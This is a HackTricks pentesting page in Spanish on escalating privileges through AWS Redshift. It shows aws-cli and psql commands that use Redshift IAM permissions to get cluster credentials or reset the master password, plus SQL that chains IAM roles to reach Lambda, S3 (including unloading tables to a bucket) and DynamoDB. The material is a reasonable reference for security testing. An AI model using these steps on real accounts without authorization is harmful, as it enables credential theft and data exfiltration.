AWS - Redshift Privesc

Apoya a HackTricks

Redshift

Para más información sobre RDS revisa:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Con estos permisos puedes obtener información de todos los clusters (incluyendo nombre y nombre de usuario del cluster) y obtener credenciales para acceder a ellos:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Impacto Potencial: Encontrar información sensible dentro de las bases de datos.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Con estos permisos puedes obtener información de todos los clusters y obtener credenciales para acceder a ellos. Ten en cuenta que el usuario postgres tendrá los permisos que la identidad IAM utilizada para obtener las credenciales tiene.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Impacto Potencial: Encontrar información sensible dentro de las bases de datos.

redshift:DescribeClusters, redshift:ModifyCluster?

Es posible modificar la contraseña maestra del usuario interno postgres (redshift) desde aws cli (creo que esos son los permisos que necesitas, pero aún no los he probado):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Impacto Potencial: Encontrar información sensible dentro de las bases de datos.

Accediendo a Servicios Externos

Para acceder a todos los siguientes recursos, necesitarás especificar el rol a usar. Un clúster de Redshift puede tener asignada una lista de roles de AWS que puedes usar si conoces el ARN o simplemente puedes establecer "default" para usar el predeterminado asignado.

Además, como se explica aquí, Redshift también permite concatenar roles (siempre que el primero pueda asumir el segundo) para obtener más acceso, simplemente separándolos con una coma: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, es posible llamar a una función lambda desde redshift con algo como:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, es posible leer y escribir en buckets de S3:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, es posible obtener datos de dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

La tabla de Amazon DynamoDB que proporciona los datos debe ser creada en la misma región de AWS que tu clúster, a menos que uses la opción REGION para especificar la región de AWS en la que se encuentra la tabla de Amazon DynamoDB.

EMR

Consulta https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Referencias

Apoya HackTricks

Last updated